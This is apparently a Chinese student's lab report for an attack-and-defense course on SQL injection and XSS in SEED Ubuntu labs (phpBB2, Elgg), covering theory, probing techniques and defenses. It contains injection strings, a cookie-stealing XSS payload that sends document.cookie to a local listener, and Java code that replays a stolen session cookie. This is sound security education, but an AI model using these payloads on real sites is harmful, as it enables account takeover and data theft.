作业所属课程:https://edu.cnblogs.com/campus/besti/19attackdefense/
作业要求:https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10737
实践内容
SQL注入
原理:web应用程序数据层存在的输入验证不完善型安全漏洞,用户输入没有被有效过滤以消除SQL语言中的字符串转义字符。
未进行严格的数据类型判断,使得用户可以输入执行一些非预期的SQL指令代码
如在一个有user和passwd的登录表单中:
1、select * from users where username=’(huangrong‘ or '1'='1)' and passwd = '(huangrong' or '1'='1)'
括号中为用户输入到username和password的两部分内容,结果等价于select * from users
2、支持多条SQL同时执行的数据库中
select * from users where username=’(x' or '1'='1' and passwd='huangrong' or '1'='1';drop table users)‘
括号中为用户输入
3、没有对用户输入数据类型进行约束
SQL注入攻击步骤和过程
1、发现SQL注入点
常见SQL注入点存在于http://site/xxx.asp?some_rec=yyy的动态网页中
只要某些参数用于生成SQL语句访问数据库,就可能存在SQL注入。
判断一个网页是否存在SQL注入点
整型参数
(1)将原来的yyy改为yyy',会因为数据类型不符合造成sql语句错误,动态页面会返回错误提示信息。
(2)将yyy改为yyy and 1=1 返回正常
(3)将yyy改为yyy and 1=2 返回空白页或者错误提示
符合上面三条,则为对整数类型输入缺乏严格的类型检查
字符串的参数
(1)将yyy改为yyy’,因为引号不匹配,提示错误
(2)将yyy改为yyy' and '1'='1 正常
(3)将yyy改为yyy’ and '1'='2' 返回错误或空白页面
符合上面三条,则为对字符串类型输入缺乏对转义字符的严格检查与过滤
(2)判断后台数据库类型
1)利用数据库服务器的系统变量进行判断
SQL Server有user和db_name()等系统变量
MySQL有basedir等系统变量
执行http://site/xxx.asp?some_rec=yyy and db_name()>0进行判断
2)利用数据库服务器的系统表进行判断
ACCESS的系统表是msysobjects,在web环境下没有访问权限
SQL Server系统表为sysobjects,web环境下有访问权限
http://site/xxx.asp?some_rec=yyy and (select count() from sysobjects)>0
http://site/xxx.asp?some_rec=yyy and (select count() from msysobjects)>0
第一句正常说明是SQL Server,两条都异常,说明是ACCESS
3)后台数据库中管理员口令自猜解
表名、字段名、用户名和口令猜解
利用形如http://site/xxx.asp?some_rec=yyy and (select count(*) from guess_RECNAME)>0的语句进行表名和字段名的判断。
其中,对于用户名和口令字段猜测,首先猜解用户名字段长度
http://site/xxx.asp?some_rec=yyy and (select top 1 len(username) from msysobjects)>length
获得字符长度之后,进行逐字猜解
加快速度,二分法
截取第N位字符
http://site/xxx.asp?some_rec=yyy and (select top 1 asc(mid(username,N,1) from table_name))>ascii_num
4)上传ASP后门,得到默认账户权限
防范措施
1、使用类型安全的参数编码机制
2、对用户输入进行完备性检查,限制使用包含非法字符
3、将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象
4、加强SQL数据库服务器配置与连接:数据库中不放铭文口令、最小权限原则配置web应用程序连接数据库的查询操作权限,提示错误内容应尽可能不泄露有用的信息。
XSS攻击
1、目标:web应用程序用户
2、漏洞原因:web应用程序对用户输入内容的安全验证与过滤不够完善。
3、攻击原理:利用web应用程序中的安全漏洞,在服务器端网页中插入一些恶意的客户端脚本代码,在web服务器上产生出一些恶意攻击页面。
4、攻击方法
绕过客户端安全策略访问敏感信息
窃取或修改会话cookie
进行客户端渗透攻击获取访问权限
5、攻击类型
(1)持久性XSS漏洞(存储型XSS漏洞)
可以将用户输入持久性地保存在web服务器端。
还可以被设计成具备跨用户进行自我传播能力的XSS蠕虫
(2)非持久性XSS漏洞(反射XSS漏洞)当web浏览器在http请求参数或HTML提交表单中提供的数据,被立即由服务器端脚本使用产生一个提供给用户的结果页面。
攻击步骤
1)攻击者构造出一个包含恶意脚本的bank.com登录请求连接,并通过email/http等方式将该攻击链接发sing给其他bank.com网站用户
2)受害用户点击攻击链接后,将会把恶意链接中包含的恶意脚本当做用户名参数提交给bank.com的登录处理网页。
3)由于bank.COM登录处理页面存在XSS漏洞,将会在反馈的欢迎页面中包含恶意客户端脚本。
4)攻击者的恶意客户端脚本在受害用户浏览器中执行,通常会驱动浏览器向攻击者发送会话令牌,如会话id、cookie等。
5)攻击者获得会话令牌之后,就可以劫持用户会话,或伪造用户登录bank.com并可实施进一步攻击。
(3)基于DOM的XSS
防范措施
1、服务器端防范措施
(1)输入验证
数据长度、类型、是否包括非法字符
(2)输出净化
web应用程序对要显示的数据进行html编码,净化可能的恶意字符,将所有数据当做数据而非结构。
(3)消除危险的输入点
避免直接在现有的JavaScript中插入用户可控制的数据
2、客户端防范措施
提高浏览器访问非授信网站时的安全等级
关闭cookie功能或设为只读
采用chrome等非主流的安全浏览器
实践过程
实验环境
SEED Ubuntu镜像
环境配置
实验需要三样东西,Firefox、apache、phpBB2(镜像中已有):
①运行Apache Server:镜像已经安装,只需运行命令%sudo service apache2 start
②phpBB2 web应用:镜像已经安装
③配置DNS:上述的URL仅仅在镜像内部可以访问,原因是我们修改了/etc/hosts
文件使http://www.sqllabmysqlphpbb.com指向本机IP 127.0.0.1。如果需要在其他机器访
问,应该修改hosts文件,使URL映射到phpBB2所在机器的IP。
关闭对抗措施
PHP提供了自动对抗SQL注入的机制,被称为magic quote,我们需要关闭它。
1.找到/etc/php5/apache2/php.ini
2.找到magic_quotes_gpc = On这一行
3.改为magic_quotes_gpc = Off
4.重启Apache:”sudo service apache2 restart”
最好拥有一些背景知识
1.使用虚拟机,Firefox的插件LiveHttpHeaders和Tamper Data
2.对SQL语句的一些了解
3.如何操作MySQL数据库
4.对PHP一些了解
启动apache:
任务一
1、在SELECT语句中实施注入攻击
通过www.sqllabmysqlphpbb.com访问一个使用MySQL数据库配置的web应用phpBB2,系统会出现登录界面,
login.php将在服务端处理授权。登录页面的查询使用SQL语句:
其中,USER_TABLE会被替换为用户表名:phpbb_user,\(username是用户输入的username,\)password是用户输入的password
(1)是否在不知道别人的密码的情况下,登录该账号?
(2)是否可以使用上述SQL查询修改数据库,如:添加一个新用户到数据库,或者删除已有的数据?如果不可以,也请给出尝试,失败原因,以及MySQL中的防范这种注入攻击的机制。
2、通过UPDATE语句进行SQL注入
当用户要修改个人信息时,可以点击Profile链接,在include/usercp_register.php中有一个UPDATE语句,可以用于修改当前用户在phpbb_user表中的个人信息。在SQL语句中有一个SQL注入漏洞,请发现这个漏洞,然后在不知道其他用户密码的情况下修改该用户的信息,修改完成后,你要能够登陆该账号。
3、防范措施
SQL注入漏洞的发生是因为没有将代码和数据分离,当创建一个SQL语句时,php能够分清数据和代码,但是当SQL语句在SQL语句中执行时,数据和代码之间的界限就被模糊了。为了解决这个问题,可以使用以下方法:
(1)使用get_magic_quotes_gpc()转义字符。在/etc/php5/apache2/php.ini文件中,magic_quotes_gpc=on
之后还要重启服务器,sudo service apache2 restart
查看该选项on和off有什么区别(因为可移植性差,和性能问题在php5.3.0以后被弃用)
(2)使用addslashes()转义特殊字符。该函数在/var/www/SQL/SQLLabMysqlPhpbb文件夹下的common.php文件(被login.php所包含)中,我们注释掉了phpBB2中的保护,使SQL注入成为可能。请将保护重新打开,通过从下面的行中删除“and FALSE”(我们添加了“and FALSE”以绕过这段代码)来查看差异。请描述这个保护方案如何帮助抵御您的SQL注入攻击:
if(!get_magic_quotes_gpc() and FALSE)
(3)使用mysql_real_escape_string转义特殊字符。数据库转义字符机制,关闭其他预防机制,使用这个方法抵抗SQL注入。
(4)预先发送SQL语句,这种方式更常用。
将后续填入的全部按照数据处理,其中第一个参数“si”表示第二个参数是string类型,第二个参数是整数类型。
4、提示
输出调试信息。
(1)输出全部信息:
$fh = fopen($myFile,'a') or die("can't open file);
$Data = "a string";
fwrite($fh,$Data,"\n");
fclose($fh);
(2)火狐插件
Tamper Data,允许在发送http请求到服务器之前更改数据,需要火狐3.5版本以上。
1、在SELECT语句中实施注入攻击
启动apache:
(1)在不知道alice的密码情况下登录该账号
登录界面
对注入点判断为补充内容,使用的与实施攻击的系统不一样,但情况应该是一样的
判断是否为SQL注入点
在username中输入alice',提示错误:
输入alice' and '1'='1,正常提示用户不存在:
输入alice' and '1'='2时,也是现实用户不存在,那么就不能根据这三点判断它是一个SQL注入点。
查看该页面源代码
查看密码比对处的SQL查询语句,只要将对密码的比对语句注释掉即可。
登录成功
追加SQL语句,在用户表中删除名为ted的用户
alice',delete from USERS_TABLE WHERE username='ted';#
失败原因:MySQL禁止从php调用多个SQL语句执行。
2、UPDATE 登录alice修改ted的密码
然后点到profile页面
看到页面的链接
由此找到profile.php源代码,但是其中没有找到,但是有根据mode进行判断之后处理的代码,再看页面上mode为editprofile,找到这个语句
这是一个嵌入模块。在相应的位置找到了update语句
因为数据库中存储的密码为md5,所以先得到将要设为密码的md5值
输入SQL语句:
成功
3、对抗SQL注入攻击
(1)第一种方法不再尝试,因为之前因为没有关掉这个选项,导致SQL注入不成功。
(2)使用了tamper data,对提交的数据进行截取,没有发现on和off有什么区别,查了一些资料,暂时没有找到相关内容,没整明白。
(3)看了新版的seedUbuntu之后的补充对于第四种SQL语句预处理的方法,我在新版的seedUbuntu中,看到项目文件中有个文件safe_home.php,里面就是使用的预处理方法保证了抗xss攻击的方法。
对于select语句
而那些变量,通过json从用户输入框中传过来,指明两个数据都是string类型,这样会将传过来的数据当做一个完整的整体作为内容。
获取到的内容,作为第二次传递的数据
对于update语句
任务二
XSS攻击
1、(1)弹出'XSS'
alice(密码:seedalice)在修改个人信息界面,注入脚本,弹出窗口
保存会重新刷新界面,就可以看到效果(与用samy登录看到的一样):
原因:在写入数据时,没有对用户的输入进行检查,在呈现界面的时候,没有进行净化。
(2)弹出被攻击者的cookie
将脚本改成
samy登录之后:
2、窃取受害人的cookie
使用脚本:document.write('<img src=http://127.0.0.1:5555?c='+escape(document.cookie)+'>')
使用nc对本机的5555端口进行监听并显示详细信息,之后登录samy查看alice主页
或者使用tcp server获取5555端口上的数据。
3、利用cookie仿冒受害主机
使用java编写
import java.net.*;
public class Xss_Modify {
public static void main(String[] args) throws IOException{
// TODO Auto-generated method stub
try {
int responseCode;
InputStream responseIn = null;
URL url = new URL("http://www.xsslabelgg.com/action/blog/save");//要forge的url
URLConnection urlConn = url.openConnection();
if(urlConn instanceof HttpURLConnection){
urlConn.setConnectTimeout(60000);
urlConn.setReadTimeout(90000);
}
//根据在live http header中的内容进行代码编写
urlConn.addRequestProperty("User-Agent", "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0");
urlConn.addRequestProperty("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
urlConn.addRequestProperty("Accept-Language", "en-US,en;q=0.5");
urlConn.addRequestProperty("Accept-Encoding", "gzip,deflate");
urlConn.addRequestProperty("Keep-Alive", "300");
urlConn.addRequestProperty("Referer", "http://www.xsslabelgg.com/blog/add/44");
urlConn.addRequestProperty("Content-Type", "application/x-www-form-urlencoded");
urlConn.addRequestProperty("Connection", "keep-alive");
urlConn.addRequestProperty("Cookie", "2fqvq29ftt35l18pbha15afm32");//得到的cookie
String data = "";//构造帖子的内容
urlConn.setDoOutput(true);
OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());
wr.write(data);
wr.flush();
urlConn.connect();
if(urlConn instanceof HttpURLConnection){
HttpURLConnection httpConn = (HttpURLConnection) urlConn;
responseCode = httpConn.getResponseCode();
System.out.println("ResponseCode="+responseCode);
if(responseCode == HttpURLConnection.HTTP_OK){
responseIn = urlConn.getInputStream();
BufferedReader buf_inp = new BufferedReader(new InputStreamReader(responseIn));
String inputLine;
while((inputLine = buf_inp.readLine()) != null){
System.out.println(inputLine);
}
}
}
} catch (MalformedURLException e) {
// TODO: handle exception
e.printStackTrace();
}
}
}
由于还没有搞清楚发帖的内容(String data)不知道怎么写,先搁置了。
用新版本上的一个假冒的题代替:
首先通过HTTP Header Live查看添加好友的操作需要什么东西,具体查看http请求头部分,
需要知道要加的好友的id,elgg_ts和elgg_token
脚本内容
samy查看alice的信息后
遇到的问题
1、忘了关掉防范措施,导致不成功
2、在修改ted的密码时,出现的错误提示
是因为字段匹配不正确,密码对应的应该是user_password
3、123456的MD5值产生有问题,没有加-n参数不换行输出。
心得体会
夫君子之行,静以修身,俭以养德。